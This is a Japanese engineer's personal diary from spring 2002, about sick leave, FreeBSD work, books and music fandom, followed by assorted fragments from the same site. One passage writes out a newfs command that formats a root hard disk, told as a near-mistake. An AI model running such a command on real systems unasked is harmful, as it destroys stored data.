もちろん、会社の FreeBSD かがみサーバーに telnet 安全に入ることもできるわけである。ユーザー名、パスワード入力が面倒で ssh ばっかり使っているけど(^^;。
私が勤めている会社は、余り性能が良くないマシンが「個人管理」サーバーとなり、高性能のマシンは Windows マシンとなる。
私も Windows マシンは必要であり、特に FPGA 関連の開発では仕方なく使う場合があるのであるが、どうしても Windows マシンに自分の仕事の成果を置いておく勇気がでない。
でっ、どうしているかというと、FreeBSD かがみサーバーの samba を利用して、 Windows のデータも FreeBSD 上に作成しようというわけである。
目の前の FreeBSD 上の Emacs でソースを編集して、 Windows 側はマウス操作だけで、コンパイルを行う(^^;。
Windows のキーボードは、ディスプレイの上にあったりする。
そんな大きなことを言う割には、昨日 NetBSD の仕事をしていて、一瞬。。。
```
   # newfs -T type /dev/rmd0a    # RAM disk の newfs
   # newfs -T type /dev/rwd0a    # root ハードディスクの newfs
  
```
を間違えそうになり、ちょっとあせってしまった(^^;。
今回は /dev/rwd0a を消してしまっても NetBSD を再インストールすればよいので、大した被害ではないのだが。。。
この NetBSD で動く開発ソース群も NFS で FreeBSD に置いてある。
NetBSD は信用しているが、なんと言っても、FreeBSDかがみサーバーは Emacs を中心とした開発環境が充実しているのである。
FreeBSDかがみサーバーは P-II 375Hz なのであるが、本当に好きである。今の会社での私の仕事のほとんどの時間を一緒にすごしてくれている。メモリは 512Mbytes でディスクの容量は全部で 100G 近くあると思う。全体のバランスが良く、CPU の割にトータルの速度が速くストレスを感じないのである。また、マシンや OS の責任でまずいことになったことは一度もない。もちろんキーボードは Happy Hacking であり、壁紙は「赤ずきんチャチャ」です。ねっ、エヴァリストちゃん(^^)。

2002年5月9日(木)

最近の FreeBSD はデフォルトでコンソールに TCP の接続や UDP の接続的受信が全部ログで出るようである。まったくうるさい。かんじんなログを見落としてしまいそうである。
↑どうも全部でるわけではない様である。どういう場合でるのだろう。
telnet や ftp も最近はデフォルトで禁止である。
個人的にはデフォルトで「全部許して」後は自己責任の世界にして欲しい。
少なくとも、インストーラーで選択可能にして欲しい。
Windows98 系の DHCP クライアントは規約通り動かない。やっぱりねえ(^^;。
NTT に ADSL 1.5M から 8Mへの変更を一ヵ月位前に申し込んだら今日メールが来ました。これがすごいのです。
- Content-Type: text/plain; charset=unknown-8bit
- Content-Transfer-Encoding: 8bit
となっていて内容が読めない。Emacs で直接開いたら何とか読めた。
不思議なことに Subject のエンコードは正しかった。そうでなかったら確実に捨てていました。
それでもって http://www1.sphere.ne.jp/yokohama/adsl/adsl-ak.htm で工事希望日等を登録と書いてあるのでやってみたが、これが見栄えとか、電話番号を全角でいれろとか、すごいページなのである。しかも「半角」でいれてと書いてある私の ID はメールの中で全角と半角が混じっているのである。
それでも、苦労して入力してコミットしたら、不足項目があるとのこと。ところが、どこが不足かを教えてくれないし、見た目不足項目もなさそうなのである。
Mozilla ではだめなのか？
とにかく、天下の NTT とは思えない「とんでも」状態なのです(^^;。
うしろで見てた P さんが「こんな面白いページははじめて(^^)」と嬉しそうでした。
まだ、登録できてません(;_;)。
まあ、どうせ 1.5M でも減衰が大きくて速度がでないので、8M にしても意味はなさそうなんだが。

2002年5月8日(水)

今日は予定通り9時に会社到着。
長期休暇前は 10 時過ぎに出社で午前中はぼんやりしていた。そして、夜中までだらだらと仕事をしていたのである。
これからは 9時に出社して午前中極力集中するつもりである。そして 20時頃には退社する。トータルではこの方が能率が上がると思う。
ただし、6時30分に起きる必要がある。今はいいが、問題は冬だね(^^;。
5月4日に禁煙して半年の話を書いたら、O さんから「信じられない」というメールが来ました。ふふふ、私にだってがまん出来ることはあるんだ(^^)。

2002年5月7日(火)

今日は一ヵ月ぶりの出社である。それにしても初日から電車が遅れるとは(^^;。

2002年5月6日(月)

長期休暇最終日。一日のんびり。
Emacs のツールバーのフォントの見栄えが悪いのでわざと隠していたが、いつの間にか良くなっている。
最新の Mozilla にしてからフォントに関してすごく良くなった。 Freetype-2 のご利益と思われる。
長年 UNIX を使っていて、システムコールはそこそこ分かるのだが、
- フォントの設定
- X の設定
- sendmail の設定
- DNS の設定
- Emacs の設定
等、設定関係は全然だめである。真面目にドキュメントを読まないせいか。

2002年5月5日(日)

今日は「子供の日」なので、三女と奥さんと「藤沢市子どもフェスティバル」に行く。
藤沢駅までバスで行き、そこから再びバスに乗ろうとしたら１時間待。
仕方がないので、湘南台まで電車で行き、そこからバス。
暑かったです。子供の日にこんなに暑くて本当に大丈夫なのかなあ。そろそろ、本格的に温暖化がまずい状態にきていると思う。
三女は最初のうちもりさがっていたが、後半は楽しそうでした(^^)。
Galois の emacs を 21.2.1 に更新。 Shell-mode の TERM が emacs から dumb になっている。これは良い変更だと思う。
Evariste を make world。
久しぶりに Pascal で遊んでみたくなり、処理系を探していたら、 Free Pascal という Turbo-Pascal 互換のコンパイラがあった。さっそくインストール。

2002年5月4日(土)

一ヵ月の長期休暇ももうすぐ終りである。会社には迷惑をかけたが、自分としては休んで正解だったと思う。何がよかったかと言うと、
- とにかく疲れがとれて働く意欲が出て来た。
  なんといっても一ヵ月前は、会社に行くのがおっくうで仕方がなかったのだから。
- 奥さんと、今までのことや、今後のことなど色々話ができた。
  正直いって、結婚してからこれだけお互いに率直な話ができたのは、本当に久しぶりである。
- おそらく、この日記をつけること自体が、精神的な落ち込みを解消するのに役に立ったと思う。
- もともと、楽天的な性格であるが、ますます楽天的になれた。
  いや、若い頃は全然楽天的でなかった。いつからこんなお気楽な性格になったんだろう。自分でも分からないです(^^;。
  ちなみに、「楽天的であるから鬱状態になることはない」なんてことはありません。両者は独立な概念だと思います。
など、一ヵ月無駄にすごしたという感じより、人生の一つの区切りがついた気がする。個人的には非常に有意義な休みでありました。
なーに、一ヵ月なんてすぐにとりもどすさ(^^)。
テレビを見ていたら、親がタバコを吸うと女の子が生まれやすいとのこと(^^;。
うーん、女の子が欲しかったから別に悪くはないんだが。。。
ちなみに、禁煙して半年たちました。もう大丈夫でしょう。

2002年5月3日(金)

だらしないことに午前中はほとんど寝てすごしてしまった。
午後から奥さん、二女、三女といっしょに昼食と買物。18時帰宅。
「無限に魅入られた天才数学者たち」アミール・Ｄ・アクセル著 ISBN4-15-208402-2 を読む。
カントールを中心とした、無限概念の進歩に関して、分かりやすく記述してある。
順序数や濃度の概念が確立されると、最大の問題になるのは、
- (一般)連続体仮説
なのであるが、カントールもゲーデルも連続体仮説に打ち倒され、鬱の世界に入っていったと主張している。
一般向けの本であるが、コーエンの強制法のさわりについて書いてあったのには驚いた。全然分からなかったけど(^^;。
それにしても、大学に入った当初「実数とは何か」というのが、非常に重要な問題であることを聞いたり読んだりして驚いた記憶がある。
なんというか、実数というのは「無限小数展開」と「数直線」による二重の視覚的印象があるので、そんなに変なものだと思っていなかった。
これは、数学を専攻しなかった普通の人一般の感覚だとおもう。
ところが、数学を勉強すると、クロネッカーでなくとも整数や有理数はまっとうな数であり実数はかなり混沌とした世界であることがわかる。
なんといっても濃度さえわからないのである。
それに比べて、複素数は「きれいな」感じがするし、代数閉体であることもあって、扱い易いのだから不思議なものである。学生時代に「コーシーの積分定理」を知ったときとても感動した記憶がある。
宇宙論に関して思うのだが
「理論から考えるとそうなるが、いくらなんでもそんな変なことはないであろう」
ということが結局正しい場合が多い。
例えば、宇宙の膨張とか、中性子星、ブラックホールとそのエントロピー等。最近は宇宙定数が復活しているし。次元は１０次元らしいし。
理論の威力は絶大である。
FreeBSD を更新したら
- FreeBSD 4.6-PRERELEASE #1: Fri May 3 23:19:33 JST 2002
となっていた。
最近 CPU が速くて(1GHz)うれしいのは、
- make world と kernel のコンパイル。
- mozilla のコンパイル。
- Java のコンパイル。
位になってきた。
ただし、会社の Windows マシンで VHDL から FPGA のオブジェクトを作る場合は、今の 100 倍速いのが欲しい(^^; 。今でも最速のマシンを使ってるんだが、 JPEG エンコーダーのコンパイルに 20 分以上かかるから。
だけど、良く考えてみると CPU が 100 倍になったら、今の性能の FPGA は必要ないわけで、その場合、今の 100 倍の性能とか容量をもった素子が必要になるので、いつまでたってもコンパイルには時間がかかりそうである。

2002年5月2日(木)

谷山浩子さんのページに「どうして谷山浩子さんが好きなのか」を追加
友人からもらったデジタルカメラ FUJIFILM FinePix600Z があるのだが、マニュアルがない。
FUJIFILM のサービスセンターに電話をしたところ、インターネットで PDFのマニュアルを公開しているとのこと。
どれどれ、むにゅにゅ。あったあった。便利になったもんだ。
早速印刷。 90ページ位。連休明けに会社で製本しよう。
こんなこと書いていいのか↑(^^;。
「谷山浩子／ピアノ・ソロ・アルバム」もう届いた。
いよいよ、休みもあと４日。やっぱり一ヵ月の休みって結構長かったです。
こんなにわずらわしいことを考えないでのんびり出来たのは生まれてはじめてかも。

2002年5月1日(水)

午前中、音楽教室用ドキュメントを Word で作成する。
午後は mozilla-1.0.RC1 のインストール。成功。なかなか良い。
「谷山浩子／ピアノ・ソロ・アルバム」発売される。
絶版になっていた楽譜らしいが、４曲増えて再発行されたらしい。さっそく注文。
夜は音楽教室に Word 文書を届けて、先生に確認をとりながら校正。
かしわもちをご馳走になった(^^)。

2002年4月30日(火)

「ブラックホールと時空の歪み」キップ・S・ソーン著 ISBN4-8269-0077-5 を読む
アインシュタインの特殊相対論から始まる 20世紀の物理学を通して、ブラックホールへの認識の歴史が詳しく書かれている。大体読み終った。非常に面白い。
アインシュタインが、実験結果を補填するという考えでなく、物理法則は「自然で美しく」あるべきであるという世界感で相対性理論を考えたことが良く分かる。
そういう意味で、アインシュタインとゲーデルが正反対の性格であったにもかかわらず、生涯友情を築き続けたことも---個人的には--- 納得できる。
ゲーデルも数学の真理の世界には、美しい調和があると信じていたわけだから。
ちょっと古いので「ひも理論」への言及がないのが残念。しかし、それを差し引いても十分面白い。
ブラックホールはもちろん、今はあたりまえの様に聞こえる白色矮星、中性子星なども、存在が認められるまでかなり紆余曲折があったことを認識。
>>「あめふらし」二匹捕獲。飼ってみることにする(^^;。
なんと一晩で死んでしまった(;_;)

2002年4月29日(月)

F1 スペイングランプリを見る。フェラーリ速すぎて退屈。凡戦。
大潮なので、再び、三女と奥さんと奥さんの母、妹と江ノ島の磯にカニや魚をとりにいく。
今日は天気が良くて、海がとてもきれいであった。
「あめふらし」二匹捕獲。飼ってみることにする(^^;。

2002年4月28日(日)

三女のサイエンスクラブ二回目. 二週間前と同じで、8時30分に家を出て、電車で横浜へ。
10時から12時30分まで待ち時間で、奥さんと横浜駅近辺を散歩。
今日は I さん家族も見学に来ていた。
I さんご家族と一緒に食事をして、家についたのは16時。
このパターンで横浜駅近辺を奥さんと2時間半過ごすのって結構いいかも(^^)。
↑驚くべきことに、２週間前と違って全然疲れない。休養の効果か。
↑の途中で数学の本と宇宙論の本を買う。
最近コンピュータの本を読む気がしない。まあ、コンピュータなんて計算理論以外は理論なんてないからねえ。
正直、計算理論以外は底の浅い体系だと思う。
オブジェクト指向なんて「お説教」みたいなもんだし。
ちなみに、私の仕事で「バグがでた」なんて騒いてるときは、数の数え間違いとかが多いわけで、小学生の植木算のレベルです。

2002年4月27日(土)

明日は大潮なので、午前中から午後にかけて、三女と奥さんと江ノ島の磯にカニや魚をとりにいく。
巨大な「うみうし」もとれたが気持悪いし、飼えないので海に返した。本当はちょっと可愛いと思ったんだけど。
魚とカニはそれなりの収穫あり。
「うみうし」と思ったのは、調べたら「あめふらし」でした。
谷山浩子ファンクラブの会員証が来ました(^^)。
それから、「冷たい水の中をきみと歩いていく」も来ました。
さすがに最近いろいろ聞きすぎてすぐに mp3 化する元気がでない(^^;。まだ未開封。
↑結局開封して mp3 化。
ディレクトリ名が tsumetai-mizunonakawo-kimito-aruiteiku という長大な名称になってしまった(^^;。
ところで、最近、専用の CD Player でないと再生できない「CD もどき」が発売されているが、谷山さんの CD は今後どうなるのだろう。
ユーザーが自由に他の媒体にコピーして好きな方法で聞く自由を束縛するのは困るなあ。
そもそも、本当のファンなら絶対に違法コピーはしないし、長期的は、レコード会社にとっても損なんじゃないかと思う。

ちなみに現在の「谷山さん mp3 ファイル」ディレクトリ構造。
２月から３月にかけてに猛烈な勢いで買いまくっていますねえ(^^)。
実は２月１日が誕生日なんだけど、その日に Memories ですか。
この CD を聞いたのが、谷山さん重症のめりこみの始まり。
この３ヵ月、家族のことは別として、それ以外はほとんど「谷山浩子さん」のこと考えていたもんな(^^; 。この日記をみても、谷山さんの話しばっかり(^^;。
仕事のことは全く考えておりませんでした m(__)m 。
連休明けからはしっかり働きますので、ご容赦のほどを。
ただ、のめりこんだおかげで精神的な落ち込みは完全に解消いたしました。
精神面の調整をするために、わざと「のめりこんだ」意味もあるんだけど、わざとが本気になりました。

bash-2.05$ ls -ltr
total 20
dr-xr-xr-x  2 kagami  kagami  512 Jan 27 00:22 nemurenai-yorunotameni
dr-xr-xr-x  2 kagami  kagami  512 Jan 27 01:24 mizutama-jikan
dr-xr-xr-x  2 kagami  kagami  512 Jan 28 23:39 soratobu-nichiyoubi
dr-xr-xr-x  2 kagami  kagami  512 Jan 31 23:38 shippo-no-kimochi
dr-xr-xr-x  2 kagami  kagami  512 Feb  1 00:56 memories-1
dr-xr-xr-x  2 kagami  kagami  512 Feb  1 01:30 memories-2
dr-xr-xr-x  2 kagami  kagami  512 Feb  1 02:36 tanpopo-salad
dr-xr-xr-x  2 kagami  kagami  512 Feb  7 00:22 kokorono-sumika
dr-xr-xr-x  2 kagami  kagami  512 Feb  7 00:50 yuganda-oukoku
dr-xr-xr-x  2 kagami  kagami  512 Feb  7 14:32 bokuha-kimiga-suki
dr-xr-xr-x  2 kagami  kagami  512 Feb  9 12:42 gin-no-kioku
dr-xr-xr-x  2 kagami  kagami  512 Feb  9 13:09 kai-no-meikyuu
dr-xr-xr-x  2 kagami  kagami  512 Mar  2 01:10 bokuha-torijanai
dr-xr-xr-x  2 kagami  kagami  512 Mar  5 00:10 tenku-kashuu
dr-xr-xr-x  2 kagami  kagami  512 Mar  6 21:30 hiroko-90s
dr-xr-xr-x  2 kagami  kagami  512 Mar 22 23:59 hyouryu-gakudan
dr-xr-xr-x  2 kagami  kagami  512 Mar 23 00:38 shima-uma
dr-xr-xr-x  2 kagami  kagami  512 Apr 16 15:51 tsubasa
dr-xr-xr-x  2 kagami  kagami  512 Apr 27 21:45 tsumetai-mizunonakawo-kimito-aruiteiku

16時30分からドラムの練習。
F1 予選を見る。やっぱりフェラーリですか(^^;。

2002年4月26日(金)

三女の食卓椅子を買いにいく。いままで「お子様いす」だったのだけど、さすがに文句を言い出したので。
ついでに、自分の椅子も買いました。
谷山さん「冷たい水の中をきみと歩いていく」ずっと品切れで手に入らないかと思っていたが、何の気なしにインターネットのサイトで注文したら入荷したそう。ラッキー。
「世界の究極理論は存在するか」をペラペラとめくってみる。
この著者は数学的な理論と物理的な理論の境界に関してちょっと甘いのではないか。
例えば、量子コンピューターは通常のコンピューターと全く異なる計算を行う様な記述があるが、当然どちらも帰納的関数を計算するのである。
通常の計算機で指数時間の計算を、量子計算機は多項式時間で可能であるので本質的な違いがあるというが、もし P=NP が証明されたらどうするんだろう。
全部読んでないので、見当違いかもしれないが、ちょっとねえ。
そもそも、
- 量子力学
- 進化論
- 認識論
- 計算理論
が統合されて究極理論ができるというのは無理がありますねえ。
全然関係ないもん。

2002年4月25日(木)

今日は東京に出てぶらぶら。結局本を二冊買ってきただけ。
一冊は
- 世界の究極理論は存在するか. デイヴィド・ドイッチュ著. ISBN4-02-257409-7
「ひも理論」の本と思って買って来たが、全然違うじゃないか。
最初の部分を読んだだけで、まだよく分からないのだが
- 量子力学
- 進化論
- 認識論
- 計算理論
が統合されて、究極理論ができるそうな。ちゃんとした量子計算研究者が書いているので「とんでも本」ではないと思うが、読むのがちょっと大変そう(^^;
本日、谷山浩子さんデビュー３０周年です。おめでとうございます。
しかし、３０年前に私は１７歳ですか、数学にはまりきっていた時期でした。
休みも残り１０日強になってしまった。連休明けになったら働かなくては。

2002年4月24日(水)

ドラムの先生の誕生日が近いので、お祝いを兼ねて、ピアノの先生と奥さんと Y さんと一緒に昼食。
幻想図書館 Vol2 大阪公演の葉書が来た。
ドラムの発表会と一緒の日なので行けないです(;_;) 。
「幻想図書館 Vol 2 不思議の国のアリス」金曜日のチケットが宅配便で来ました。

2002年4月23日(火)

朝、古い PC 3 台ゴミに出す。 80286-8MHz,80386SX-16MHz なんてのもありました。
ちなみに所有した PC のリスト。購入年はあてになりませぬ。
いやー、こうしてみると本当に速くなったもんだ。
最初のなんて買った当時はオーディオカセットデッキに 300bps 位でプログラムやデータを保存してたし。

PC8001	Z80-4MHz	1980年頃購入
PC9801	8086-5MHz	1982年頃購入
ラップトップのDynabook	80286-8MHz	1986年頃購入
IBM の昔のノート. DOS/V ノート	80386SX-16MHz	1991年頃購入
IBM Aptiva	Pentium-100MHz	1994年頃購入
ゲートウエイのデスクトップ	Celeron-500MHz	現在稼働中
IBM R30. ノート	Celeron-1GHz	現在稼働中

奥さんと、昼食をどこかで食べようと出かけたが、高そうだったので、スーパーで弁当を買う。
午後は Word(^^; 。。。 3 枚作った。

2002年4月22日(月)

自分のプロフィール追加.
午前中はのほほんと暮らす.
mozilla-0.99 をインストールしたら truetype2 フォントもインストールされる.
Emacs の文字も丸文字っぽくなって結構かわゆい(^^).
音楽教室にワープロ打ちのフォーマットの細かい点を質問に行く.
午後から音楽教室のワープロ打ち. Word じゃ、 Word じゃ.
特定の罫線を二重線にする方法が分からない(^^;
そろそろ PCI ドライバを書かないと(^^;

2002年4月21日(日)

午前 9時30分から「湘南東急チケットぴあ」に並んで 7月6日(土)の
「幻想図書館 Vol 2 不思議の国のアリス」のチケット GET.
私を含めて 2 人しか並んでいませんでした(^^;
↑ 12時になって、インターネットのチケットぴあーサイトをみたら売り切れていました.
e-plus の照会をすると 7月5日(金)の先行予約分を発送したとのこと.
mozilla-0.99 のインストール. 途中で freetype2 の include ディレクトリが
- /usr/X11R6/include/
- /usr/local/include/
両方にできてしまい競合が発生してはまってしまった.
結局インストール作業終了は朝の 3 時.

2002年4月20日(土)

翼の感想を書く.
午前中は掃除.
11時30分からドラムの練習.
puku さんと sakana さんが遊びにきてくれました(^^)

2002年4月19日(金)

ピアノの先生から、ワープロ原稿打ち依頼来たる. Word の勉強(^^;.
空いた時間で、7月に演奏予定の「王国」アレンジをして下さるとのこと.
マーティン・リース著「宇宙を支配する6つの数」 ISBN4-7942-1076-0 を読む.
6 つの数とは
- 重力と電磁気力の比
- 強い相互作用の質量に対するエネルギー比
- 宇宙膨張定数
- 宇宙背景放射のゆらぎ率
- 宇宙定数
- 次元
これらの定数が少しでも現在の値と異なると、星は安定して存在せず、したがって人類も発生しなかったはずという主題.
最近の宇宙論の成果を、分かりやすく簡潔明瞭に説明していると思う.
それにしても、最近「人間原理」が優勢である.
一般的な啓蒙書を得意とする天文学者や物理学者には「人間原理」を信じる人の比率が多い様な気もする.
「宇宙論」の本は、出版者の思惑よりも売り上げが良いとのこと.
それに比べて「遺伝子工学」「ナノテクノロジー」の本は、思惑通り売れないとのこと(^^).
非常に健全な傾向であります. こんな主題の本は現世的利益の話しばっかりで夢がないし、そもそも遺伝子工学で 120 歳まで生きても仕方ないしね(^^;
初の Word 文書一つ完成. それにしても、書きたい所にカーソルが行かない(^^;.

2002年4月18日(木)

「翼」第二ラウンドと思ったのだけど、かなり内容が重いので少しずつしか聞けない.
今までのアルバムとはちょっと違う感じ.
初めてのリアルタイムでの体験ということはあると思うが.
といってるうちに、偏頭痛で一日ダウン(=_=)

2002年4月17日(水)

「翼」を mp3 化してじっくり聞く.
戦争の影響が色濃く、最近のアルバムでは一番暗い印象である.
それでも、最初の曲「学びの雨」は明るい曲ではないが希望が感じられる. ちょっと「銀河通信」に似た雰囲気がある.
「ウミガメスープ」の後は暗い雰囲気の曲が並ぶ.
「ゆりかごの歌」はとても悲しく恐ろしい歌詞である.
最近の谷山さんは、無理をしない自然な音楽の作りから非常に深い内容を表現していると思う.
このアルバムも感動的ではあるが、表現自体は非常に簡潔、自然である.
それにしても、谷山さんネタばっかり. FreeBSD の方も頑張らなくては.
仮想 PCI デバイスの仕様を決めるのが面倒で止まってる.
いよいよ、昔のソースを引っ張りだしてまねしようかな.
といいつつ谷山浩子さんのページにファン世代について考えたことを追加.
10時30分に秋葉原石丸電気で「翼」2枚目購入(^^;. イベント券 GET(^^).
NTT が交換機の新規投資を中止するとのこと. 今後、電話も IP 化の方針.
IP 化はいいんだけど、わが家みたいに「減衰が大きい ADSL」は大丈夫なのか.
当然、何らかの暗号化を使用する必要があると思うが、政府の介入なしにちゃんと出来るのか.

2002年4月16日(火)

谷山浩子さんのページの「天空歌集」と「しまうま」から曲名ファイルにリンク作成.
なぜ最初にこの2枚かというと、この2枚のアルバムが特に好きだから.
谷山さん、初恋の人と再会、結婚の時期のアルバムであり幸せいっぱいです.
ほんわかとろけるセロトニン系. これから各曲の感想を書く予定. いつになったら完成するやら(^^;
「銀の記憶」もわりと好きなんだけど、いくらなんでも谷山さんのろけすぎであります(^^)
お昼は、奥さんと奥さんの母上とスパゲッティー屋で昼食.
翼が届く. ちゃんとイベント券もついてきた. U さんの気持ちが分かってきたぞ.
いいのか、フライング <--- 全国的にフライングだった様で(^^;
というわけで「翼」も曲名リンクに追加.
FreeBSDページに Java の悪口を追加.
FreeBSDデバイスドライバの find の使用方法に S さんが教えてくれた方法を追加.

2002年4月15日(月)

F1 イタリアグランプリを見る. 今年のフェラーリ強すぎるかも.
谷山浩子さんのページ書き込み追加. まだまだ未完.
山野楽器から谷山浩子さんの翼を今日出荷とのメールあり. 発売日より一日早く着きそう.
イベントの券もついてくるらしい(^^)
石丸電気でも 5月11日(土)に谷山さんイベントがあるそうです.
なるほど、こうして同じ CD が2枚、3枚と増えていくんだ(^^;
14日の日記をみてまずいと思った.
インターネット動画配信のハードウエアやソフトウエアを作ってるのは自分じゃないか.
まあ一般論だから許して下され m(__)m.

2002年4月14日(日)

谷山浩子さんのページを書きはじめる. 全然未完.
ブラックホールデバイスの /dev/null、 /dev/zero 相当部分記述完了.
鳥越氏の「ザ・スクープ」をインターネット配信でみる.
これほど良質の番組がインターネット経由で見れるのはすばらしい.
インターネット動画配信なんてどうせ使いものにならないと思っていたが、この番組をみるとそうではないことがよく分かる.
それにしても、スポンサーがよく納得したと思います.
今日の特集は「保土ヶ谷事件第２弾」.
現在の日本の「指導者層」大部分が腐りきっているのが分かります.
昔勤めていた職場では、何かまずいことが起きると、えらい人達は「解決方を考える」のではなく、「どうやってばれない様にするか」ばかり考えていました.
Windows か Mac でしか見れないのが難点です.
今日は三女のサイエンスクラブ一回目. 8時30分に家を出て、電車で横浜へ.
10時から12時30分まで待ち時間で、奥さんと一緒に横浜駅近辺をぶらぶら.
その後、食事をしたり、買物をしたりで、家についたのは16時頃.
サイエンスクラブの内容は2時間半で
- マッチの使い方.
- アルコールランプ、ガスバーナの使い方.
- 天秤の使い方.
だったそうです.
実験の指導は手間がかかります. 小学校3年生を2時間半飽きさせないのも大変そう.
それに比べて、今の学校は手間がかかる部分を、極力手抜きする方向に向かっているんじゃないかな.

2002年4月13日(土)

ブラックホールデバイスの記述を行おうと思ったが PCI デバイスとして無理に記述すると probe で問題が発生しそうである.
この様な特定のハードウエアをもたない仮想デバイスの場合、どんなおまじないを行えば良いのであろうか.
再調査が必要である.
↑疑似ドライバとして if_tun.c を参考に実装.
音楽教室でドラムの練習.
TAB のこと.
デバイスドライバの記述をしていて改めて思ったが、私は TAB が嫌いである. Emacs の設定等全部 TAB はスペースで置き換える様になっている.
環境によって表示が変化するのが嫌なのである.
現在テキストファイルでサイズをけちっても意味がないし、インデントは Emacs が会わせてくれるので、 TAB も寿命だと思うんだけど.
BSD は好きであるが、無条件に全部の文化が好きな分けでない.
シェルは bash だし(^^;

2002年4月12日(金)

現在、プロバイダへの HTML 等のファイル転送は
- ```
 find 
```
コマンド等を使用して自作のシェルで HTML のディレクトリハイアラキーを全部自動的にプロバイダにコピーする様になっているが、たった 3 日で転送量(ファイルの転送数) がばかにならなくなってきました.
近々破綻するのが目に見えているので、CVS に登録して、転送シェルを完了したら自動的に commit するようにしたい. そして、次の転送は
- ```
 cvs diff 
```
が違いを検出したファイルのみ転送する様にするのが良さそう.
CVS で履歴管理もできるし、バックアップの意味もあるので一石三鳥.
CVS を上手に使うと make もどきの使用方法もあるんだ.
ただし、トップページの「最終更新日」の部分は、転送時の
- ```
 date 
```
コマンドの出力置換なので、毎回転送しなおす必要あり.
あと LaTeX で書くページもあるので LaTeX2HTML も自動化しないといけない. 結構やることが多い.
いずれにしても ftp しか転送の手段がないのは不便であります.
ssh や scp が使えると便利なんだが(^^;
↑朝の 4時30分まで書いていたら 10時まで寝てしまった(^^;
お昼は奥さんとラーメンを食べにいく.
午後からピアノ教室に行って先生と雑談.
1 時間位かけて FreeBSD-users-jp にトンネルの講釈書き込み.
やっぱり一箇所間違い. どんなに短い文章でも必ず一つ間違う.
全然会社を休んでいる意味がないなあ(^^;.

2002年4月11日(木)

奥さんと買物. 服をたくさん買ってもらいました.
会社の N 氏からメール. 某プロトコルエンコーダの調子が悪いとのこと.
うーん、あんまり私のせいだとは思えないんだが. なんかちょんぼしたかなあー(^^;
↑解決(^^)
今日からマンション10年目の大改装工事.
それにしても駐車場の前を資材置場するなんて非常識.
FreeBSD ドライバの記述だけは LaTeX2HTML に頼ることに決定.

2002年4月10日(水)

7月5日(金)の谷山浩子さん「幻想図書館 Vol 2 不思議の国のアリス」のチケットを先行予約で 2 枚確保.
私の申し込みははずれで、奥さんのが当たり(^^;
日曜日は譲って下さる方がいるので OK. 感謝致します. この方には本当にお世話になっています m(__)m.
問題は土曜日. 21日の発売日が勝負.
あっと言う間に、谷山さんのコンサートを全部聞きにいくのがあたり前になってきました(^^).
谷山さんに 2 回目のはまりが開始して 2 ヵ月しかたっていないんだけど(^^;.
だけど、人生の楽しみが一つ増えました.
トイレの水洩れがいよいよひどくなって来たので、水道屋さんを呼んで直してもらう.
35、000 円もかかってしまった.
ただ、奥さんの話によると、これが原因で月に 7、000円位水道代を損していたそうなので 5ヵ月でもとがとれるとのこと.
午後は、会社で仕事してる puku さんとチャット. 真面目に仕事のサポート.
奥さんが「みずほ銀行」に行って残高確認. とりあえず大丈夫だそうで(^^;

2002年4月9日(火)

今日からホームページ作成開始.
人にみせれる様に整備するのは大変そう.
とりあえず FreeBSD の部分をなんとかしたい.
来月の6日まで長期休暇モード.

ご意見はこちらへどうぞ

谷山浩子さんのページ
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落ちもの。乗っていません	ラッコ

さかな	かに。おいしそう (^^

さかな	かえる

イルカの曲芸	帰りの夕焼け

会議室	A さん、B さん...
マシン室	C さん、D さん...
...	...
かがみさんのとこ	M さん、Y さん (二人とも女性)

報道陣	:	まず被害者と国民の皆様への謝罪はどうするのですか？そもそもその横に置いてある人形みたいなのはなんですか。
社長	:	ふんぞり返ったままリモコンボタンを押す。
萌えフィギュア	:	ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。
報道陣	:	わははははっ。なにふざけてるのですか。ちゃんと謝罪を。ぷふっ。
社長	:	ふんぞり返ったままリモコンボタンを押す。
萌えフィギュア	:	ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。
報道陣	:	ぶふっ。ごほん。いいかげんにして下さい。真面目に謝る気があるのですか。
社長	:	ふんぞり返ったままリモコンボタンを押す。
萌えフィギュア	:	そんなことだから、いつまで経っても彼女が出来ませんのよ？
報道陣	:	ケンカ売ってんのかこのメガネヽ(*`Д´)ノ
社長	:	ふんぞり返ったままリモコンボタンを押す。
萌えフィギュア	:	ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。

名称	英語名称	慣用の記号	備考
緯度 (南北を表す)	latitude	$\phi$	上が北
経度 (東西を表す)	longitude	$\lambda$	右が東

$\emptyset$	なんにもない
$\{\emptyset\}$	なんにもないのが入っている
↓	なんにもないのだから書かなくても同じ
{ }	ほら！空集合


N さんの天ぷらそば	S さんの鴨汁

H さんと私の鴨南蛮


H さんのサラリー麺	N さんの鴨汁

S さんと私の鴨南蛮

K	輪切りにすると普通の球面になる四次元の中の球面です。
S	？？？
K	皮が三次元なんですよ。
S	？？？
K	えーっと分からないですよね。それでは平面人間を考えます。
S	ふむふむ
K	この人たちは周りを囲んでいる三次元空間を認識出来ないとします。
S	うんうん
K	でもって、この平面を普通の球面が横切ったら、平面人間にはどのように見えると思いますか？
S	そりゃ最初にぽつんと点が見えて、小さい円になり、だんだん大きくなり、また縮んで点になり見えなくなるのでは。
K	それと同じことを一次元上げて考えます。我々の周りに認識不可能な四次元空間があったとして、その空間内の三次元球面が我々の世界を横切ったとします。
S	もしかして小さい風船みたいなのが現れて、段々大きくなって、また縮んで消滅するのでは？
K	そうですそうです！！そういうイメージなんですよ。
S	で、結局なんなの(笑)
K	そんなの私にも分かりませんよ。ただし方程式は簡単に書けて、四次元空間で x² + y² + z² + w² = 1 という感じで定義されるのです。輪切りにするというのは、例えば w に 1 以下の実数を代入することを考えれば良いのです。そうすると x, y, z だけが残って普通の球面になるでしょ。
S	なるほど。ということは体積とかも求まるの？
K	輪切りにしたのを積分すれば簡単ですよ。球面ではなく内部も含めてですが。
S	分かったような分からないような。まあ雰囲気は。
K	いや～私もそんなもんですから(笑)。


つくば駅前	同じく駅前の道路

つくばの木	さらにつくばの木

かがみ	えーそんな大罪を...。そりゃいくら懺悔しても罪は消えませんよ。
Hさん	両親がおまけを欲しいって言ってたので。
かがみ	済んでしまったことは仕方がないとして、ちゃんと中身は捨てたんでしょうね。
Hさん	それが全部飲んじゃったんですよ。
かがみ	それはまずい！！サントリーの飲料を飲むと脳が腐ります。東大出身理学博士の才能もこれでおしまいです。
Hさん	え～～～。
かがみ	ところでふろしきってどうして六種類もあるの？
Hさん	松竹梅なんです。
